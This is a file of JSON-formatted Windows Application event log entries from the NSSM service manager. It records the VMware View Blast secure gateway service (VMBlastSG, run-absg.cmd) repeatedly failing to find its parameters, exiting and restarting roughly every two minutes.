{"@timestamp":1646687235943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157665}}
{"@timestamp":1646687235944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157666}}
{"@timestamp":1646687235944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157667}}
{"@timestamp":1646687235945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157668}}
{"@timestamp":1646687364465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157669}}
{"@timestamp":1646687364466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157670}}
{"@timestamp":1646687364467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154944","0"]}}},"module":"Application","provider":"nssm","sequence":157671}}
{"@timestamp":1646687364468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154944","154944","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157672}}
{"@timestamp":1646687364483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157673}}
{"@timestamp":1646687364484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157674}}
{"@timestamp":1646687364485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157675}}
{"@timestamp":1646687364486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157676}}
{"@timestamp":1646687492979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157677}}
{"@timestamp":1646687492980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157678}}
{"@timestamp":1646687492981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153220","0"]}}},"module":"Application","provider":"nssm","sequence":157679}}
{"@timestamp":1646687492981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153220","153220","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157680}}
{"@timestamp":1646687492997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157681}}
{"@timestamp":1646687492998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157682}}
{"@timestamp":1646687492998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157683}}
{"@timestamp":1646687492999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157684}}
{"@timestamp":1646687621618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157685}}
{"@timestamp":1646687621620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157686}}
{"@timestamp":1646687621620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154824","0"]}}},"module":"Application","provider":"nssm","sequence":157687}}
{"@timestamp":1646687621621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154824","154824","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157688}}
{"@timestamp":1646687621638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157689}}
{"@timestamp":1646687621638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157690}}
{"@timestamp":1646687621639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157691}}
{"@timestamp":1646687621639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157692}}
{"@timestamp":1646687750155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157693}}
{"@timestamp":1646687750156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157694}}
{"@timestamp":1646687750157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151148","0"]}}},"module":"Application","provider":"nssm","sequence":157695}}
{"@timestamp":1646687750158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151148","151148","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157696}}
{"@timestamp":1646687750176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157697}}
{"@timestamp":1646687750176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157698}}
{"@timestamp":1646687750177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157699}}
{"@timestamp":1646687750178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157700}}
{"@timestamp":1646687878679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157701}}
{"@timestamp":1646687878680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157702}}
{"@timestamp":1646687878681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154348","0"]}}},"module":"Application","provider":"nssm","sequence":157703}}
{"@timestamp":1646687878682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154348","154348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157704}}
{"@timestamp":1646687878698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157705}}
{"@timestamp":1646687878699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157706}}
{"@timestamp":1646687878699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157707}}
{"@timestamp":1646687878700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157708}}
{"@timestamp":1646688007198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157709}}
{"@timestamp":1646688007200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157710}}
{"@timestamp":1646688007201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154416","0"]}}},"module":"Application","provider":"nssm","sequence":157711}}
{"@timestamp":1646688007202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154416","154416","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157712}}
{"@timestamp":1646688007217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157713}}
{"@timestamp":1646688007218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157714}}
{"@timestamp":1646688007218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157715}}
{"@timestamp":1646688007219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157716}}
{"@timestamp":1646688135800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157717}}
{"@timestamp":1646688135802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157718}}
{"@timestamp":1646688135803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155060","0"]}}},"module":"Application","provider":"nssm","sequence":157719}}
{"@timestamp":1646688135804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155060","155060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157720}}
{"@timestamp":1646688135819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157721}}
{"@timestamp":1646688135820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157722}}
{"@timestamp":1646688135820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157723}}
{"@timestamp":1646688135821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157724}}
{"@timestamp":1646688264341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157725}}
{"@timestamp":1646688264343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157726}}
{"@timestamp":1646688264343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155404","0"]}}},"module":"Application","provider":"nssm","sequence":157727}}
{"@timestamp":1646688264344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155404","155404","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157728}}
{"@timestamp":1646688264360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157729}}
{"@timestamp":1646688264360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157730}}
{"@timestamp":1646688264361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157731}}
{"@timestamp":1646688264361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157732}}
{"@timestamp":1646688392872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157733}}
{"@timestamp":1646688392873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157734}}
{"@timestamp":1646688392874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155356","0"]}}},"module":"Application","provider":"nssm","sequence":157735}}
{"@timestamp":1646688392874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155356","155356","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157736}}
{"@timestamp":1646688392890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157737}}
{"@timestamp":1646688392891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157738}}
{"@timestamp":1646688392891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157739}}
{"@timestamp":1646688392892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157740}}
{"@timestamp":1646688521388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157741}}
{"@timestamp":1646688521389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157742}}
{"@timestamp":1646688521389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155260","0"]}}},"module":"Application","provider":"nssm","sequence":157743}}
{"@timestamp":1646688521390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155260","155260","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157744}}
{"@timestamp":1646688521408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157745}}
{"@timestamp":1646688521408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157746}}
{"@timestamp":1646688521409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157747}}
{"@timestamp":1646688521410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157748}}
{"@timestamp":1646688649919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157749}}
{"@timestamp":1646688649920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157750}}
{"@timestamp":1646688649921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155040","0"]}}},"module":"Application","provider":"nssm","sequence":157751}}
{"@timestamp":1646688649922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155040","155040","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157752}}
{"@timestamp":1646688649939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157753}}
{"@timestamp":1646688649940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157754}}
{"@timestamp":1646688649941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157755}}
{"@timestamp":1646688649941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157756}}
{"@timestamp":1646688778435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157757}}
{"@timestamp":1646688778436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157758}}
{"@timestamp":1646688778437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154848","0"]}}},"module":"Application","provider":"nssm","sequence":157759}}
{"@timestamp":1646688778438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154848","154848","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157760}}
{"@timestamp":1646688778453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157761}}
{"@timestamp":1646688778454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157762}}
{"@timestamp":1646688778454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157763}}
{"@timestamp":1646688778455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157764}}
{"@timestamp":1646688906942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157765}}
{"@timestamp":1646688906943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157766}}
{"@timestamp":1646688906944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155500","0"]}}},"module":"Application","provider":"nssm","sequence":157767}}
{"@timestamp":1646688906944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155500","155500","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157768}}
{"@timestamp":1646688906960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157769}}
